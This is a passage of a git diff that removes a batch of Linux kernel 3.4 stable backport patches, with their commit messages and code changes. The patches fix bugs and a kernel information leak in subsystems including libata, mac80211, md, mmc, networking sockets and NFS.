Mazzotta <gabriele.mzt@gmail.com> -Signed-off-by: Tejun Heo <tj@kernel.org> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/ata/libata-core.c | 15 ++++++++++++++- - drivers/ata/libata-eh.c | 3 +++ - include/linux/libata.h | 9 +++++++++ - 3 files changed, 26 insertions(+), 1 deletion(-) - ---- a/drivers/ata/libata-core.c -+++ b/drivers/ata/libata-core.c -@@ -6671,8 +6671,21 @@ u32 ata_wait_register(struct ata_port *a - */ - bool sata_lpm_ignore_phy_events(struct ata_link *link) - { -+ unsigned long lpm_timeout = link->last_lpm_change + -+ msecs_to_jiffies(ATA_TMOUT_SPURIOUS_PHY); -+ - /* if LPM is enabled, PHYRDY doesn't mean anything */ -- return !!(link->lpm_policy > ATA_LPM_MAX_POWER); -+ if (link->lpm_policy > ATA_LPM_MAX_POWER) -+ return true; -+ -+ /* ignore the first PHY event after the LPM policy changed -+ * as it is might be spurious -+ */ -+ if ((link->flags & ATA_LFLAG_CHANGED) && -+ time_before(jiffies, lpm_timeout)) -+ return true; -+ -+ return false; - } - EXPORT_SYMBOL_GPL(sata_lpm_ignore_phy_events); - ---- a/drivers/ata/libata-eh.c -+++ b/drivers/ata/libata-eh.c -@@ -3424,6 +3424,9 @@ static int ata_eh_set_lpm(struct ata_lin - } - } - -+ link->last_lpm_change = jiffies; -+ link->flags |= ATA_LFLAG_CHANGED; -+ - return 0; - - fail: ---- a/include/linux/libata.h -+++ b/include/linux/libata.h -@@ -182,6 +182,7 @@ enum { - ATA_LFLAG_DISABLED = (1 << 6), /* link is disabled */ - ATA_LFLAG_SW_ACTIVITY = (1 << 7), /* keep activity stats */ - ATA_LFLAG_NO_LPM = (1 << 8), /* disable LPM on this link */ -+ ATA_LFLAG_CHANGED = (1 << 10), /* LPM state changed on this link */ - - /* struct ata_port flags */ - ATA_FLAG_SLAVE_POSS = (1 << 0), /* host supports slave dev */ -@@ -285,6 +286,12 @@ enum { - */ - ATA_TMOUT_PMP_SRST_WAIT = 5000, - -+ /* When the LPM policy is set to ATA_LPM_MAX_POWER, there might -+ * be a spurious PHY event, so ignore the first PHY event that -+ * occurs within 10s after the policy change. -+ */ -+ ATA_TMOUT_SPURIOUS_PHY = 10000, -+ - /* ATA bus states */ - BUS_UNKNOWN = 0, - BUS_DMA = 1, -@@ -727,6 +734,8 @@ struct ata_link { - struct ata_eh_context eh_context; - - struct ata_device device[ATA_MAX_DEVICES]; -+ -+ unsigned long last_lpm_change; /* when last LPM change happened */ - }; - #define ATA_LINK_CLEAR_BEGIN offsetof(struct ata_link, active_tag) - #define ATA_LINK_CLEAR_END offsetof(struct ata_link, device[0]) diff --git a/patches/mac80211-move-wep-tailroom-size-check.patch b/patches/mac80211-move-wep-tailroom-size-check.patch deleted file mode 100644 index 7cfbdc1..0000000 --- a/patches/mac80211-move-wep-tailroom-size-check.patch +++ /dev/null @@ -1,58 +0,0 @@ -From 47b4e1fc4972cc43a19121bc2608a60aef3bf216 Mon Sep 17 00:00:00 2001 -From: Janusz Dziedzic <janusz.dziedzic@tieto.com> -Date: Mon, 11 May 2015 11:31:15 +0200 -Subject: mac80211: move WEP tailroom size check - -commit 47b4e1fc4972cc43a19121bc2608a60aef3bf216 upstream. - -Remove checking tailroom when adding IV as it uses only -headroom, and move the check to the ICV generation that -actually needs the tailroom. - -In other case I hit such warning and datapath don't work, -when testing: -- IBSS + WEP -- ath9k with hw crypt enabled -- IPv6 data (ping6) - -WARNING: CPU: 3 PID: 13301 at net/mac80211/wep.c:102 ieee80211_wep_add_iv+0x129/0x190 [mac80211]() -[...] -Call Trace: -[<ffffffff817bf491>] dump_stack+0x45/0x57 -[<ffffffff8107746a>] warn_slowpath_common+0x8a/0xc0 -[<ffffffff8107755a>] warn_slowpath_null+0x1a/0x20 -[<ffffffffc09ae109>] ieee80211_wep_add_iv+0x129/0x190 [mac80211] -[<ffffffffc09ae7ab>] ieee80211_crypto_wep_encrypt+0x6b/0xd0 [mac80211] -[<ffffffffc09d3fb1>] invoke_tx_handlers+0xc51/0xf30 [mac80211] -[...] - -Signed-off-by: Janusz Dziedzic <janusz.dziedzic@tieto.com> -Signed-off-by: Johannes Berg <johannes.berg@intel.com> -[lizf: Backported to 3.4: s/IEEE80211_WEP/_WEP/g] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - net/mac80211/wep.c | 6 ++++-- - 1 file changed, 4 insertions(+), 2 deletions(-) - ---- a/net/mac80211/wep.c -+++ b/net/mac80211/wep.c -@@ -97,8 +97,7 @@ static u8 *ieee80211_wep_add_iv(struct i - - hdr->frame_control |= cpu_to_le16(IEEE80211_FCTL_PROTECTED); - -- if (WARN_ON(skb_tailroom(skb) < WEP_ICV_LEN || -- skb_headroom(skb) < WEP_IV_LEN)) -+ if (WARN_ON(skb_headroom(skb) < WEP_IV_LEN)) - return NULL; - - hdrlen = ieee80211_hdrlen(hdr->frame_control); -@@ -160,6 +159,9 @@ int ieee80211_wep_encrypt(struct ieee802 - size_t len; - u8 rc4key[3 + WLAN_KEY_LEN_WEP104]; - -+ if (WARN_ON(skb_tailroom(skb) < WEP_ICV_LEN)) -+ return -1; -+ - iv = ieee80211_wep_add_iv(local, skb, keylen, keyidx); - if (!iv) - return -1; diff --git a/patches/md-raid5-don-t-record-new-size-if-resize_stripes-fails.patch b/patches/md-raid5-don-t-record-new-size-if-resize_stripes-fails.patch deleted file mode 100644 index 189a0e0..0000000 --- a/patches/md-raid5-don-t-record-new-size-if-resize_stripes-fails.patch +++ /dev/null @@ -1,37 +0,0 @@ -From 6e9eac2dcee5e19f125967dd2be3e36558c42fff Mon Sep 17 00:00:00 2001 -From: NeilBrown <neilb@suse.de> -Date: Fri, 8 May 2015 18:19:34 +1000 -Subject: md/raid5: don't record new size if resize_stripes fails. - -commit 6e9eac2dcee5e19f125967dd2be3e36558c42fff upstream. - -If any memory allocation in resize_stripes fails we will return --ENOMEM, but in some cases we update conf->pool_size anyway. - -This means that if we try again, the allocations will be assumed -to be larger than they are, and badness results. - -So only update pool_size if there is no error. - -This bug was introduced in 2.6.17 and the patch is suitable for --stable. - -Fixes: ad01c9e3752f ("[PATCH] md: Allow stripes to be expanded in preparation for expanding an array") -Signed-off-by: NeilBrown <neilb@suse.de> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/md/raid5.c | 3 ++- - 1 file changed, 2 insertions(+), 1 deletion(-) - ---- a/drivers/md/raid5.c -+++ b/drivers/md/raid5.c -@@ -1622,7 +1622,8 @@ static int resize_stripes(struct r5conf - - conf->slab_cache = sc; - conf->active_name = 1-conf->active_name; -- conf->pool_size = newsize; -+ if (!err) -+ conf->pool_size = newsize; - return err; - } - diff --git a/patches/md-use-kzalloc-when-bitmap-is-disabled.patch b/patches/md-use-kzalloc-when-bitmap-is-disabled.patch deleted file mode 100644 index bcdfe9f..0000000 --- a/patches/md-use-kzalloc-when-bitmap-is-disabled.patch +++ /dev/null @@ -1,50 +0,0 @@ -From b6878d9e03043695dbf3fa1caa6dfc09db225b16 Mon Sep 17 00:00:00 2001 -From: Benjamin Randazzo <benjamin@randazzo.fr> -Date: Sat, 25 Jul 2015 16:36:50 +0200 -Subject: md: use kzalloc() when bitmap is disabled - -commit b6878d9e03043695dbf3fa1caa6dfc09db225b16 upstream. - -In drivers/md/md.c get_bitmap_file() uses kmalloc() for creating a -mdu_bitmap_file_t called "file". - -5769 file = kmalloc(sizeof(*file), GFP_NOIO); -5770 if (!file) -5771 return -ENOMEM; - -This structure is copied to user space at the end of the function. - -5786 if (err == 0 && -5787 copy_to_user(arg, file, sizeof(*file))) -5788 err = -EFAULT - -But if bitmap is disabled only the first byte of "file" is initialized -with zero, so it's possible to read some bytes (up to 4095) of kernel -space memory from user space. This is an information leak. - -5775 /* bitmap disabled, zero the first byte and copy out */ -5776 if (!mddev->bitmap_info.file) -5777 file->pathname[0] = '\0'; - -Signed-off-by: Benjamin Randazzo <benjamin@randazzo.fr> -Signed-off-by: NeilBrown <neilb@suse.com> -[lizf: Backported to 3.4: fix both branches] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/md/md.c | 4 ++-- - 1 file changed, 2 insertions(+), 2 deletions(-) - ---- a/drivers/md/md.c -+++ b/drivers/md/md.c -@@ -5431,9 +5431,9 @@ static int get_bitmap_file(struct mddev - int err = -ENOMEM; - - if (md_allow_write(mddev)) -- file = kmalloc(sizeof(*file), GFP_NOIO); -+ file = kzalloc(sizeof(*file), GFP_NOIO); - else -- file = kmalloc(sizeof(*file), GFP_KERNEL); -+ file = kzalloc(sizeof(*file), GFP_KERNEL); - - if (!file) - goto out; diff --git a/patches/megaraid_sas-use-raw_smp_processor_id.patch b/patches/megaraid_sas-use-raw_smp_processor_id.patch deleted file mode 100644 index 704dda9..0000000 --- a/patches/megaraid_sas-use-raw_smp_processor_id.patch +++ /dev/null @@ -1,38 +0,0 @@ -From 16b8528d20607925899b1df93bfd8fbab98d267c Mon Sep 17 00:00:00 2001 -From: Christoph Hellwig <hch@infradead.org> -Date: Wed, 15 Apr 2015 09:44:37 -0700 -Subject: megaraid_sas: use raw_smp_processor_id() - -commit 16b8528d20607925899b1df93bfd8fbab98d267c upstream. - -We only want to steer the I/O completion towards a queue, but don't -actually access any per-CPU data, so the raw_ version is fine to use -and avoids the warnings when using smp_processor_id(). - -Signed-off-by: Christoph Hellwig <hch@lst.de> -Reported-by: Andy Lutomirski <luto@kernel.org> -Tested-by: Andy Lutomirski <luto@kernel.org> -Acked-by: Sumit Saxena <sumit.saxena@avagotech.com> -Signed-off-by: James Bottomley <JBottomley@Odin.com> -[lizf: Backported to 3.4: drop the changes to megasas_build_dcdb_fusion()] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/scsi/megaraid/megaraid_sas_fusion.c | 4 ++-- - 1 file changed, 2 insertions(+), 2 deletions(-) - ---- a/drivers/scsi/megaraid/megaraid_sas_fusion.c -+++ b/drivers/scsi/megaraid/megaraid_sas_fusion.c -@@ -1426,11 +1426,11 @@ megasas_build_ldio_fusion(struct megasas - fp_possible = io_info.fpOkForIo; - } - -- /* Use smp_processor_id() for now until cmd->request->cpu is CPU -+ /* Use raw_smp_processor_id() for now until cmd->request->cpu is CPU - id by default, not CPU group id, otherwise all MSI-X queues won't - be utilized */ - cmd->request_desc->SCSIIO.MSIxIndex = instance->msix_vectors ? -- smp_processor_id() % instance->msix_vectors : 0; -+ raw_smp_processor_id() % instance->msix_vectors : 0; - - if (fp_possible) { - megasas_set_pd_lba(io_request, scp->cmd_len, &io_info, scp, diff --git a/patches/memstick-mspro_block-add-missing-curly-braces.patch b/patches/memstick-mspro_block-add-missing-curly-braces.patch deleted file mode 100644 index 861b26e..0000000 --- a/patches/memstick-mspro_block-add-missing-curly-braces.patch +++ /dev/null @@ -1,40 +0,0 @@ -From 13f6b191aaa11c7fd718d35a0c565f3c16bc1d99 Mon Sep 17 00:00:00 2001 -From: Dan Carpenter <dan.carpenter@oracle.com> -Date: Thu, 16 Apr 2015 12:48:35 -0700 -Subject: memstick: mspro_block: add missing curly braces - -commit 13f6b191aaa11c7fd718d35a0c565f3c16bc1d99 upstream. - -Using the indenting we can see the curly braces were obviously intended. -This is a static checker fix, but my guess is that we don't read enough -bytes, because we don't calculate "t_len" correctly. - -Fixes: f1d82698029b ('memstick: use fully asynchronous request processing') -Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com> -Cc: Alex Dubov <oakad@yahoo.com> -Signed-off-by: Andrew Morton <akpm@linux-foundation.org> -Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/memstick/core/mspro_block.c | 3 ++- - 1 file changed, 2 insertions(+), 1 deletion(-) - ---- a/drivers/memstick/core/mspro_block.c -+++ b/drivers/memstick/core/mspro_block.c -@@ -760,7 +760,7 @@ static int mspro_block_complete_req(stru - - if (error || (card->current_mrq.tpc == MSPRO_CMD_STOP)) { - if (msb->data_dir == READ) { -- for (cnt = 0; cnt < msb->current_seg; cnt++) -+ for (cnt = 0; cnt < msb->current_seg; cnt++) { - t_len += msb->req_sg[cnt].length - / msb->page_size; - -@@ -768,6 +768,7 @@ static int mspro_block_complete_req(stru - t_len += msb->current_page - 1; - - t_len *= msb->page_size; -+ } - } - } else - t_len = blk_rq_bytes(msb->block_req); diff --git a/patches/mips-fix-enabling-of-debug_stackoverflow.patch b/patches/mips-fix-enabling-of-debug_stackoverflow.patch deleted file mode 100644 index b4e5140..0000000 --- a/patches/mips-fix-enabling-of-debug_stackoverflow.patch +++ /dev/null @@ -1,37 +0,0 @@ -From 5f35b9cd553fd64415b563497d05a563c988dbd6 Mon Sep 17 00:00:00 2001 -From: James Hogan <james.hogan@imgtec.com> -Date: Thu, 4 Jun 2015 13:25:27 +0100 -Subject: MIPS: Fix enabling of DEBUG_STACKOVERFLOW - -commit 5f35b9cd553fd64415b563497d05a563c988dbd6 upstream. - -Commit 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection") added -kernel stack overflow detection, however it only enabled it conditional -upon the preprocessor definition DEBUG_STACKOVERFLOW, which is never -actually defined. The Kconfig option is called DEBUG_STACKOVERFLOW, -which manifests to the preprocessor as CONFIG_DEBUG_STACKOVERFLOW, so -switch it to using that definition instead. - -Fixes: 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection") -Signed-off-by: James Hogan <james.hogan@imgtec.com> -Cc: Ralf Baechle <ralf@linux-mips.org> -Cc: Adam Jiang <jiang.adam@gmail.com> -Cc: linux-mips@linux-mips.org -Patchwork: http://patchwork.linux-mips.org/patch/10531/ -Signed-off-by: Ralf Baechle <ralf@linux-mips.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/mips/kernel/irq.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/arch/mips/kernel/irq.c -+++ b/arch/mips/kernel/irq.c -@@ -110,7 +110,7 @@ void __init init_IRQ(void) - #endif - } - --#ifdef DEBUG_STACKOVERFLOW -+#ifdef CONFIG_DEBUG_STACKOVERFLOW - static inline void check_stack_overflow(void) - { - unsigned long sp; diff --git a/patches/mips-hibernate-flush-tlb-entries-earlier.patch b/patches/mips-hibernate-flush-tlb-entries-earlier.patch deleted file mode 100644 index dc652d4..0000000 --- a/patches/mips-hibernate-flush-tlb-entries-earlier.patch +++ /dev/null @@ -1,42 +0,0 @@ -From a843d00d038b11267279e3b5388222320f9ddc1d Mon Sep 17 00:00:00 2001 -From: Huacai Chen <chenhc@lemote.com> -Date: Sun, 29 Mar 2015 10:54:05 +0800 -Subject: MIPS: Hibernate: flush TLB entries earlier - -commit a843d00d038b11267279e3b5388222320f9ddc1d upstream. - -We found that TLB mismatch not only happens after kernel resume, but -also happens during snapshot restore. So move it to the beginning of -swsusp_arch_suspend(). - -Signed-off-by: Huacai Chen <chenhc@lemote.com> -Cc: Steven J. Hill <Steven.Hill@imgtec.com> -Cc: linux-mips@linux-mips.org -Cc: Fuxin Zhang <zhangfx@lemote.com> -Cc: Zhangjin Wu <wuzhangjin@gmail.com> -Patchwork: https://patchwork.linux-mips.org/patch/9621/ -Signed-off-by: Ralf Baechle <ralf@linux-mips.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/mips/power/hibernate.S | 3 ++- - 1 file changed, 2 insertions(+), 1 deletion(-) - ---- a/arch/mips/power/hibernate.S -+++ b/arch/mips/power/hibernate.S -@@ -31,6 +31,8 @@ LEAF(swsusp_arch_suspend) - END(swsusp_arch_suspend) - - LEAF(swsusp_arch_resume) -+ /* Avoid TLB mismatch during and after kernel resume */ -+ jal local_flush_tlb_all - PTR_L t0, restore_pblist - 0: - PTR_L t1, PBE_ADDRESS(t0) /* source */ -@@ -44,7 +46,6 @@ LEAF(swsusp_arch_resume) - bne t1, t3, 1b - PTR_L t0, PBE_NEXT(t0) - bnez t0, 0b -- jal local_flush_tlb_all /* Avoid TLB mismatch after kernel resume */ - PTR_LA t0, saved_regs - PTR_L ra, PT_R31(t0) - PTR_L sp, PT_R29(t0) diff --git a/patches/mm-memory-failure-call-shake_page-when-error-hits-thp-tail-page.patch b/patches/mm-memory-failure-call-shake_page-when-error-hits-thp-tail-page.patch deleted file mode 100644 index 79c8372..0000000 --- a/patches/mm-memory-failure-call-shake_page-when-error-hits-thp-tail-page.patch +++ /dev/null @@ -1,56 +0,0 @@ -From 09789e5de18e4e442870b2d700831f5cb802eb05 Mon Sep 17 00:00:00 2001 -From: Naoya Horiguchi <n-horiguchi@ah.jp.nec.com> -Date: Tue, 5 May 2015 16:23:35 -0700 -Subject: mm/memory-failure: call shake_page() when error hits thp tail page - -commit 09789e5de18e4e442870b2d700831f5cb802eb05 upstream. - -Currently memory_failure() calls shake_page() to sweep pages out from -pcplists only when the victim page is 4kB LRU page or thp head page. -But we should do this for a thp tail page too. - -Consider that a memory error hits a thp tail page whose head page is on -a pcplist when memory_failure() runs. Then, the current kernel skips -shake_pages() part, so hwpoison_user_mappings() returns without calling -split_huge_page() nor try_to_unmap() because PageLRU of the thp head is -still cleared due to the skip of shake_page(). - -As a result, me_huge_page() runs for the thp, which is broken behavior. - -One effect is a leak of the thp. And another is to fail to isolate the -memory error, so later access to the error address causes another MCE, -which kills the processes which used the thp. - -This patch fixes this problem by calling shake_page() for thp tail case. - -Fixes: 385de35722c9 ("thp: allow a hwpoisoned head page to be put back to LRU") -Signed-off-by: Naoya Horiguchi <n-horiguchi@ah.jp.nec.com> -Reviewed-by: Andi Kleen <ak@linux.intel.com> -Acked-by: Dean Nelson <dnelson@redhat.com> -Cc: Andrea Arcangeli <aarcange@redhat.com> -Cc: Hidetoshi Seto <seto.hidetoshi@jp.fujitsu.com> -Cc: Jin Dongming <jin.dongming@np.css.fujitsu.com> -Signed-off-by: Andrew Morton <akpm@linux-foundation.org> -Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - mm/memory-failure.c | 8 ++++---- - 1 file changed, 4 insertions(+), 4 deletions(-) - ---- a/mm/memory-failure.c -+++ b/mm/memory-failure.c -@@ -1095,10 +1095,10 @@ int memory_failure(unsigned long pfn, in - * The check (unnecessarily) ignores LRU pages being isolated and - * walked by the page reclaim code, however that's not a big loss. - */ -- if (!PageHuge(p) && !PageTransTail(p)) { -- if (!PageLRU(p)) -- shake_page(p, 0); -- if (!PageLRU(p)) { -+ if (!PageHuge(p)) { -+ if (!PageLRU(hpage)) -+ shake_page(hpage, 0); -+ if (!PageLRU(hpage)) { - /* - * shake_page could have turned it free. - */ diff --git a/patches/mmc-atmel-mci-fix-bad-variable-type-for-clkdiv.patch b/patches/mmc-atmel-mci-fix-bad-variable-type-for-clkdiv.patch deleted file mode 100644 index f65689c..0000000 --- a/patches/mmc-atmel-mci-fix-bad-variable-type-for-clkdiv.patch +++ /dev/null @@ -1,42 +0,0 @@ -From 60c8f783a18feb95ad967c87e9660caf09fb4700 Mon Sep 17 00:00:00 2001 -From: Ludovic Desroches <ludovic.desroches@atmel.com> -Date: Wed, 6 May 2015 15:16:46 +0200 -Subject: mmc: atmel-mci: fix bad variable type for clkdiv - -commit 60c8f783a18feb95ad967c87e9660caf09fb4700 upstream. - -clkdiv is declared as an u32 but it can be set to a negative value -causing a huge divisor value. Change its type to int to avoid this case. - -Signed-off-by: Ludovic Desroches <ludovic.desroches@atmel.com> -Signed-off-by: Ulf Hansson <ulf.hansson@linaro.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/mmc/host/atmel-mci.c | 9 +++++++-- - 1 file changed, 7 insertions(+), 2 deletions(-) - ---- a/drivers/mmc/host/atmel-mci.c -+++ b/drivers/mmc/host/atmel-mci.c -@@ -1125,7 +1125,7 @@ static void atmci_set_ios(struct mmc_hos - - if (ios->clock) { - unsigned int clock_min = ~0U; -- u32 clkdiv; -+ int clkdiv; - - spin_lock_bh(&host->lock); - if (!host->mode_reg) { -@@ -1150,7 +1150,12 @@ static void atmci_set_ios(struct mmc_hos - /* Calculate clock divider */ - if (host->caps.has_odd_clk_div) { - clkdiv = DIV_ROUND_UP(host->bus_hz, clock_min) - 2; -- if (clkdiv > 511) { -+ if (clkdiv < 0) { -+ dev_warn(&mmc->class_dev, -+ "clock %u too fast; using %lu\n", -+ clock_min, host->bus_hz / 2); -+ clkdiv = 0; -+ } else if (clkdiv > 511) { - dev_warn(&mmc->class_dev, - "clock %u too slow; using %lu\n", - clock_min, host->bus_hz / (511 + 2)); diff --git a/patches/mmc-core-add-missing-pm-event-in-mmc_pm_notify-to-fix-hib-restore.patch b/patches/mmc-core-add-missing-pm-event-in-mmc_pm_notify-to-fix-hib-restore.patch deleted file mode 100644 index 78f8b76..0000000 --- a/patches/mmc-core-add-missing-pm-event-in-mmc_pm_notify-to-fix-hib-restore.patch +++ /dev/null @@ -1,36 +0,0 @@ -From 184af16b09360d6273fd6160e6ff7f8e2482ef23 Mon Sep 17 00:00:00 2001 -From: Grygorii Strashko <Grygorii.Strashko@linaro.org> -Date: Thu, 23 Apr 2015 13:43:43 +0300 -Subject: mmc: core: add missing pm event in mmc_pm_notify to fix hib restore - -commit 184af16b09360d6273fd6160e6ff7f8e2482ef23 upstream. - -The PM_RESTORE_PREPARE is not handled now in mmc_pm_notify(), -as result mmc_rescan() could be scheduled and executed at -late hibernation restore stages when MMC device is suspended -already - which, in turn, will lead to system crash on TI dra7-evm board: - -WARNING: CPU: 0 PID: 3188 at drivers/bus/omap_l3_noc.c:148 l3_interrupt_handler+0x258/0x374() -44000000.ocp:L3 Custom Error: MASTER MPU TARGET L4_PER1_P3 (Idle): Data Access in User mode during Functional access - -Hence, add missed PM_RESTORE_PREPARE PM event in mmc_pm_notify(). - -Fixes: 4c2ef25fe0b8 (mmc: fix all hangs related to mmc/sd card...) -Signed-off-by: Grygorii Strashko <Grygorii.Strashko@linaro.org> -Signed-off-by: Ulf Hansson <ulf.hansson@linaro.org> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/mmc/core/core.c | 1 + - 1 file changed, 1 insertion(+) - ---- a/drivers/mmc/core/core.c -+++ b/drivers/mmc/core/core.c -@@ -2370,6 +2370,7 @@ int mmc_pm_notify(struct notifier_block - switch (mode) { - case PM_HIBERNATION_PREPARE: - case PM_SUSPEND_PREPARE: -+ case PM_RESTORE_PREPARE: - - spin_lock_irqsave(&host->lock, flags); - host->rescan_disable = 1; diff --git a/patches/net-rose-don-t-dereference-null-neighbour-pointer.patch b/patches/net-rose-don-t-dereference-null-neighbour-pointer.patch deleted file mode 100644 index 9340eec..0000000 --- a/patches/net-rose-don-t-dereference-null-neighbour-pointer.patch +++ /dev/null @@ -1,30 +0,0 @@ -From d496f7842aada20c61e6044b3395383fa972872c Mon Sep 17 00:00:00 2001 -From: Ralf Baechle <ralf@linux-mips.org> -Date: Fri, 19 Jun 2015 00:46:53 +0200 -Subject: NET: ROSE: Don't dereference NULL neighbour pointer. - -commit d496f7842aada20c61e6044b3395383fa972872c upstream. - -A ROSE socket doesn't necessarily always have a neighbour pointer so check -if the neighbour pointer is valid before dereferencing it. - -Signed-off-by: Ralf Baechle <ralf@linux-mips.org> -Tested-by: Bernard Pidoux <f6bvp@free.fr> -Signed-off-by: David S. Miller <davem@davemloft.net> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - net/rose/af_rose.c | 3 ++- - 1 file changed, 2 insertions(+), 1 deletion(-) - ---- a/net/rose/af_rose.c -+++ b/net/rose/af_rose.c -@@ -194,7 +194,8 @@ static void rose_kill_by_device(struct n - - if (rose->device == dev) { - rose_disconnect(s, ENETUNREACH, ROSE_OUT_OF_ORDER, 0); -- rose->neighbour->use--; -+ if (rose->neighbour) -+ rose->neighbour->use--; - rose->device = NULL; - } - } diff --git a/patches/net-socket-Fix-the-wrong-returns-for-recvmsg-and-sen.patch b/patches/net-socket-Fix-the-wrong-returns-for-recvmsg-and-sen.patch deleted file mode 100644 index 01a752d..0000000 --- a/patches/net-socket-Fix-the-wrong-returns-for-recvmsg-and-sen.patch +++ /dev/null @@ -1,91 +0,0 @@ -From 521c4dd4415ca24519468add60f6586fde913470 Mon Sep 17 00:00:00 2001 -From: Junling Zheng <zhengjunling@huawei.com> -Date: Mon, 1 Jun 2015 09:28:00 +0000 -Subject: [PATCH] net: socket: Fix the wrong returns for recvmsg and sendmsg - -Based on 08adb7dabd4874cc5666b4490653b26534702ce0 upstream. - -We found that after v3.10.73, recvmsg might return -EFAULT while -EINVAL -was expected. - -We tested it through the recvmsg01 testcase come from LTP testsuit. It set -msg->msg_namelen to -1 and the recvmsg syscall returned errno 14, which is -unexpected (errno 22 is expected): - -recvmsg01 4 TFAIL : invalid socket length ; returned -1 (expected -1), -errno 14 (expected 22) - -Linux mainline has no this bug for commit 08adb7dab fixes it accidentally. -However, it is too large and complex to be backported to LTS 3.10. - -Commit 281c9c36 (net: compat: Update get_compat_msghdr() to match -copy_msghdr_from_user() behaviour) made get_compat_msghdr() return -error if msg_sys->msg_namelen was negative, which changed the behaviors -of recvmsg and sendmsg syscall in a lib32 system: - -Before commit 281c9c36, get_compat_msghdr() wouldn't fail and it would -return -EINVAL in move_addr_to_user() or somewhere if msg_sys->msg_namelen -was invalid and then syscall returned -EINVAL, which is correct. - -And now, when msg_sys->msg_namelen is negative, get_compat_msghdr() will -fail and wants to return -EINVAL, however, the outer syscall will return --EFAULT directly, which is unexpected. - -This patch gets the return value of get_compat_msghdr() as well as -copy_msghdr_from_user(), then returns this expected value if -get_compat_msghdr() fails. - -Fixes: 281c9c36 (net: compat: Update get_compat_msghdr() to match copy_msghdr_from_user() behaviour) -Signed-off-by: Junling Zheng <zhengjunling@huawei.com> -Signed-off-by: Hanbing Xu <xuhanbing@huawei.com> -Cc: Li Zefan <lizefan@huawei.com> -Cc: Al Viro <viro@zeniv.linux.org.uk> -Cc: David Miller <davem@davemloft.net> -Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - net/socket.c | 24 ++++++++++-------------- - 1 file changed, 10 insertions(+), 14 deletions(-) - ---- a/net/socket.c -+++ b/net/socket.c -@@ -1934,14 +1934,12 @@ static int ___sys_sendmsg(struct socket - int err, ctl_len, iov_size, total_len; - - err = -EFAULT; -- if (MSG_CMSG_COMPAT & flags) { -- if (get_compat_msghdr(msg_sys, msg_compat)) -- return -EFAULT; -- } else { -+ if (MSG_CMSG_COMPAT & flags) -+ err = get_compat_msghdr(msg_sys, msg_compat); -+ else - err = copy_msghdr_from_user(msg_sys, msg); -- if (err) -- return err; -- } -+ if (err) -+ return err; - - /* do not move before msg_sys is valid */ - err = -EMSGSIZE; -@@ -2149,14 +2147,12 @@ static int ___sys_recvmsg(struct socket - struct sockaddr __user *uaddr; - int __user *uaddr_len; - -- if (MSG_CMSG_COMPAT & flags) { -- if (get_compat_msghdr(msg_sys, msg_compat)) -- return -EFAULT; -- } else { -+ if (MSG_CMSG_COMPAT & flags) -+ err = get_compat_msghdr(msg_sys, msg_compat); -+ else - err = copy_msghdr_from_user(msg_sys, msg); -- if (err) -- return err; -- } -+ if (err) -+ return err; - - err = -EMSGSIZE; - if (msg_sys->msg_iovlen > UIO_MAXIOV) diff --git a/patches/nfs-don-t-call-blocking-operations-while-task_running.patch b/patches/nfs-don-t-call-blocking-operations-while-task_running.patch deleted file mode 100644 index f9fbe52..0000000 --- a/patches/nfs-don-t-call-blocking-operations-while-task_running.patch +++ /dev/null @@ -1,90 +0,0 @@ -From 6ffa30d3f734d4f6b478081dfc09592021028f90 Mon Sep 17 00:00:00 2001 -From: Jeff Layton <jlayton@primarydata.com> -Date: Wed, 14 Jan 2015 13:08:57 -0500 -Subject: nfs: don't call blocking operations while !TASK_RUNNING - -commit 6ffa30d3f734d4f6b478081dfc09592021028f90 upstream. - -Bruce reported seeing this warning pop when mounting using v4.1: - - ------------[ cut here ]------------ - WARNING: CPU: 1 PID: 1121 at kernel/sched/core.c:7300 __might_sleep+0xbd/0xd0() - do not call blocking ops when !TASK_RUNNING; state=1 set at [<ffffffff810ff58f>] prepare_to_wait+0x2f/0x90 - Modules linked in: rpcsec_gss_krb5 auth_rpcgss nfsv4 dns_resolver nfs lockd grace sunrpc fscache ip6t_rpfilter ip6t_REJECT nf_reject_ipv6 xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw snd_hda_codec_generic snd_hda_intel snd_hda_controller snd_hda_codec snd_hwdep snd_pcm snd_timer ppdev joydev snd virtio_console virtio_balloon pcspkr serio_raw parport_pc parport pvpanic floppy soundcore i2c_piix4 virtio_blk virtio_net qxl drm_kms_helper ttm drm virtio_pci virtio_ring ata_generic virtio pata_acpi - CPU: 1 PID: 1121 Comm: nfsv4.1-svc Not tainted 3.19.0-rc4+ #25 - Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140709_153950- 04/01/2014 - 0000000000000000 000000004e5e3f73 ffff8800b998fb48 ffffffff8186ac78 - 0000000000000000 ffff8800b998fba0 ffff8800b998fb88 ffffffff810ac9da - ffff8800b998fb68 ffffffff81c923e7 00000000000004d9 0000000000000000 - Call Trace: - [<ffffffff8186ac78>] dump_stack+0x4c/0x65 - [<ffffffff810ac9da>] 